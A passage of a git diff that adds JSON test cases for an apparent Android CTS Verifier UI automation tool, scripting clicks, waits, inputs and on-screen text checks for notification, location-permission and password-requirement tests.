Test\",\"actionId\":\"b341512d-17da-41e0-8f05-0f06559925c0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Shortcut Reset Rate-limiting Test\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 15 secs\",\"actionId\":\"1bf8c189-8d93-4d26-a671-6a52ba610c47\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":15000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Find the Shortcut Reset Rate-limiting Test notification\",\"actionId\":\"994d27a3-daf7-4131-8fe4-6ed6a93551a4\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"$uicd_notification_reply_field\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"$uicd_notification_reply_field\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"$uicd_notification_reply_field\"}]},\"clickAfterValidation\":true},{\"type\":\"InputAction\",\"name\":\"INPUT Test String\",\"actionId\":\"b536843f-de61-45cc-91e9-dbfe979b9ca5\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"Shortcut reset rate limiting test\",\"isSingleChar\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/remote_input_send\",\"actionId\":\"5461159b-ffac-45ac-b4fa-368ff21e5c81\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.systemui:id/remote_input_send\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 15 secs\",\"actionId\":\"12fd45cb-b52e-49f1-b0d3-b358c0871634\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":15000,\"createdBy\":\"riacheltseng\"}],\"childrenIdList\":[\"09d98569-d030-4e9f-a855-2205a05e1b11\",\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"b7c555db-e606-4858-818d-7426db25fe74\",\"b341512d-17da-41e0-8f05-0f06559925c0\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"1bf8c189-8d93-4d26-a671-6a52ba610c47\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"994d27a3-daf7-4131-8fe4-6ed6a93551a4\",\"b536843f-de61-45cc-91e9-dbfe979b9ca5\",\"5461159b-ffac-45ac-b4fa-368ff21e5c81\",\"12fd45cb-b52e-49f1-b0d3-b358c0871634\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_NotificationBot_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/NotificationBot.apk\\n$uicd_notification_reply_field=android:id/reply_icon_action\"}}","name":"test_Shortcut Reset Rate-limiting Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.240000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8f2375c4-da47-4673-b46d-88bfca894fbf b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8f2375c4-da47-4673-b46d-88bfca894fbf
new file mode 100644
index 0000000..da53239
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8f2375c4-da47-4673-b46d-88bfca894fbf
@@ -0,0 +1 @@
+{"uuid":"8f2375c4-da47-4673-b46d-88bfca894fbf","details":"{\"type\":\"CompoundAction\",\"name\":\"16-06-Location access permission\",\"actionId\":\"8f2375c4-da47-4673-b46d-88bfca894fbf\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Location access permission\",\"actionId\":\"9aeb40eb-6307-4167-b812-99c4f96a7ef6\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Location access permission\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0627f69f-20e0-4331-a855-9a4efd300318\",\"displayText\":\"Location access permission\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Location access permission\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":297.25,\"x2\":351.25,\"y2\":339.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":99.0,\"y\":316.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":81.0,\"y\":2.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"0627f69f-20e0-4331-a855-9a4efd300318\",\"firstText\":\"Location access permission\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Location access permission\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":10.0,\"y1\":299.0,\"x2\":188.0,\"y2\":333.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Location access permission\",\"actionId\":\"5676b90a-3caf-4cfa-8f74-879ff7e79376\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Location access permission\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are not told that your administrator has granted location access\",\"actionId\":\"aa29008f-89de-4f7e-adce-66195fe282d7\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Location permissions\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"eb9309c1-e4e3-4bef-b54e-4a5e3d95b8af\",\"displayText\":\"Location permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"23bf0ad0-43e0-4ee4-ab2d-350d8a5e09c1\",\"displayText\":\"Location permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"cb2c35f4-a285-455c-b97e-d61e3cb737a3\",\"displayText\":\"Location permissions\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Location permissions\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":196.5,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.25,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Location permissions\"},{\"uuid\":\"09de48cb-fbee-408e-bd7b-faa0d088238e\",\"displayText\":\"Minimum 1 app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":148.5,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Minimum 1 app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Location permissions\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":132.0,\"y\":400.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":48.0,\"y\":9.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"cb2c35f4-a285-455c-b97e-d61e3cb737a3\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Location permissions\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":55.0,\"y1\":390.0,\"x2\":209.0,\"y2\":411.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"2a170e60-409e-4ef2-a1cb-1f338b9405b2\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told now that your administrator has granted location access\",\"actionId\":\"836b0c3c-b2ab-44a9-84c6-3dbd823419b6\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Location permissions\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"05ceb6a4-69c9-48a4-b731-2db97dece63b\",\"displayText\":\"Location permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b2275521-cf7d-4ea8-9de3-907f732daa33\",\"displayText\":\"Location permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"be530706-a90d-4006-a4ff-b6130ea1bcb3\",\"displayText\":\"Location permissions\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Location permissions\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":196.5,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.75,\"y\":2.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Location permissions\"},{\"uuid\":\"ba9df400-2f3a-43a1-97a0-fb95943b7d92\",\"displayText\":\"Minimum 1 app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":148.5,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Minimum 1 app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Location permissions\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":131.5,\"y\":399.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":48.5,\"y\":10.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"be530706-a90d-4006-a4ff-b6130ea1bcb3\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Location permissions\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":46.0,\"y1\":386.0,\"x2\":217.0,\"y2\":412.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Location permissions\",\"actionId\":\"6db8b067-f33d-46f6-a081-40e8cf85d547\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Location permissions\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"fdda3d75-68aa-4dc9-bcf4-171f28668b4e\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"1adedfb2-6a4c-4774-8dd9-99216dca81d9\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"9aeb40eb-6307-4167-b812-99c4f96a7ef6\",\"5676b90a-3caf-4cfa-8f74-879ff7e79376\",\"82177f1b-37f0-4bec-95c6-02f1c0871c28\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"aa29008f-89de-4f7e-adce-66195fe282d7\",\"2a170e60-409e-4ef2-a1cb-1f338b9405b2\",\"034d5968-a791-4164-8b00-450ddadb3db1\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"836b0c3c-b2ab-44a9-84c6-3dbd823419b6\",\"6db8b067-f33d-46f6-a081-40e8cf85d547\",\"c06f1557-8c66-44c1-8dc2-dad782d2f597\",\"fdda3d75-68aa-4dc9-bcf4-171f28668b4e\",\"1adedfb2-6a4c-4774-8dd9-99216dca81d9\",\"82177f1b-37f0-4bec-95c6-02f1c0871c28\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-06-Location access permission","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.174000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/91970b4b-d060-46b2-bbd3-d8042def443a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/91970b4b-d060-46b2-bbd3-d8042def443a
new file mode 100644
index 0000000..481c945
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/91970b4b-d060-46b2-bbd3-d8042def443a
@@ -0,0 +1 @@
+{"uuid":"91970b4b-d060-46b2-bbd3-d8042def443a","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify that not allowed message of password lock\",\"actionId\":\"91970b4b-d060-46b2-bbd3-d8042def443a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"If Set password appear, verify the now allowed message should be appear\",\"actionId\":\"f812196f-28e4-4916-bf71-10b747a4742d\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"For security, set password\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f245ef4a-5426-4439-a120-211db4818ba7\",\"displayText\":\"For security, set password\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/sud_layout_description\",\"text\":\"For security, set password\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":172.0,\"x2\":339.0,\"y2\":211.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":185.5,\"y\":183.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-5.5,\"y\":8.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"f245ef4a-5426-4439-a120-211db4818ba7\",\"firstText\":\"For security, set password\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"For security, set password\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":94.0,\"y1\":172.0,\"x2\":277.0,\"y2\":195.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify the message -Ascending, descending, or repeated sequence of digits isn't allowed\",\"actionId\":\"06190448-08e9-4034-8d99-7264dcc70a49\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Ascending, descending, or repeated sequence of digits isn't allowed\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1836718d-ad82-4a16-b23a-4872bfa6a896\",\"displayText\":\"Ascending, descending, or repeated sequence of digits isn't allowed\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"f6b4f8f5-ff1d-4725-99e0-f7ab88e9f83b\",\"displayText\":\"Must contain at least 1 non-numerical character\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/description_text\",\"text\":\"Must contain at least 1 non-numerical character\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":291.6666666666667,\"x2\":339.0,\"y2\":308.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Must contain at least 1 non-numerical character\"},{\"uuid\":\"443bcc65-710d-40b1-b8a6-72f30b4ca542\",\"displayText\":\"Ascending, descending, or repeated sequence of digits isn't allowed\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/description_text\",\"text\":\"Ascending, descending, or repeated sequence of digits isn't allowed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":308.6666666666667,\"x2\":339.0,\"y2\":340.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.5,\"y\":-2.1666666666666288,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Ascending, descending, or repeated sequence of digits isn't allowed\"}],\"className\":\"androidx.recyclerview.widget.RecyclerView\",\"resourceId\":\"com.android.settings:id/password_requirements_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":291.6666666666667,\"x2\":339.0,\"y2\":340.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":182.5,\"y\":326.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-2.5,\"y\":-10.666666666666629,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"443bcc65-710d-40b1-b8a6-72f30b4ca542\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Ascending, descending, or repeated sequence of digits isn't allowed\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":32.0,\"y1\":314.0,\"x2\":333.0,\"y2\":339.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify the message-Must contain at least 1 non-numerical character\",\"actionId\":\"3bc67fff-8ae2-45ae-b39a-e8c191749f77\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Must contain at least 1 non-numerical character\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6ae5e575-634e-43b9-92d1-6e0724a434eb\",\"displayText\":\"Must contain at least 1 non-numerical character\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"4239a0d9-4d20-499b-bd25-f89a6ed8733b\",\"displayText\":\"Must contain at least 1 non-numerical character\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/description_text\",\"text\":\"Must contain at least 1 non-numerical character\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":291.6666666666667,\"x2\":339.0,\"y2\":308.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":5.0,\"y\":1.6666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Must contain at least 1 non-numerical character\"},{\"uuid\":\"3b235603-41fc-4814-aa81-473f7f334e1b\",\"displayText\":\"Ascending, descending, or repeated sequence of digits isn't allowed\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/description_text\",\"text\":\"Ascending, descending, or repeated sequence of digits isn't allowed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":308.6666666666667,\"x2\":339.0,\"y2\":340.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Ascending, descending, or repeated sequence of digits isn't allowed\"}],\"className\":\"androidx.recyclerview.widget.RecyclerView\",\"resourceId\":\"com.android.settings:id/password_requirements_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":291.6666666666667,\"x2\":339.0,\"y2\":340.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":175.0,\"y\":298.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":5.0,\"y\":17.33333333333337,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"4239a0d9-4d20-499b-bd25-f89a6ed8733b\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Must contain at least 1 non-numerical character\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":31.0,\"y1\":291.0,\"x2\":319.0,\"y2\":306.0}}],\"childrenIdList\":[\"f812196f-28e4-4916-bf71-10b747a4742d\",\"06190448-08e9-4034-8d99-7264dcc70a49\",\"3bc67fff-8ae2-45ae-b39a-e8c191749f77\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify that not allowed message of password lock","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.261000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/91ab1016-e46b-4681-802a-30de34592081 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/91ab1016-e46b-4681-802a-30de34592081
new file mode 100644
index 0000000..4846ad8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/91ab1016-e46b-4681-802a-30de34592081
@@ -0,0 +1 @@
+{"uuid":"91ab1016-e46b-4681-802a-30de34592081","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Set Org\\\" button\",\"actionId\":\"91ab1016-e46b-4681-802a-30de34592081\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Set Org\",\"actionId\":\"0c3bd2a9-f3ee-49f0-a8be-f9e83ac6d5e5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set Org\"}],\"childrenIdList\":[\"0c3bd2a9-f3ee-49f0-a8be-f9e83ac6d5e5\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Set Org\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.190000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/91b86fe0-4aca-4858-9bc1-ed4be34940fa b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/91b86fe0-4aca-4858-9bc1-ed4be34940fa
new file mode 100644
index 0000000..2df53ca
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/91b86fe0-4aca-4858-9bc1-ed4be34940fa
@@ -0,0 +1 @@
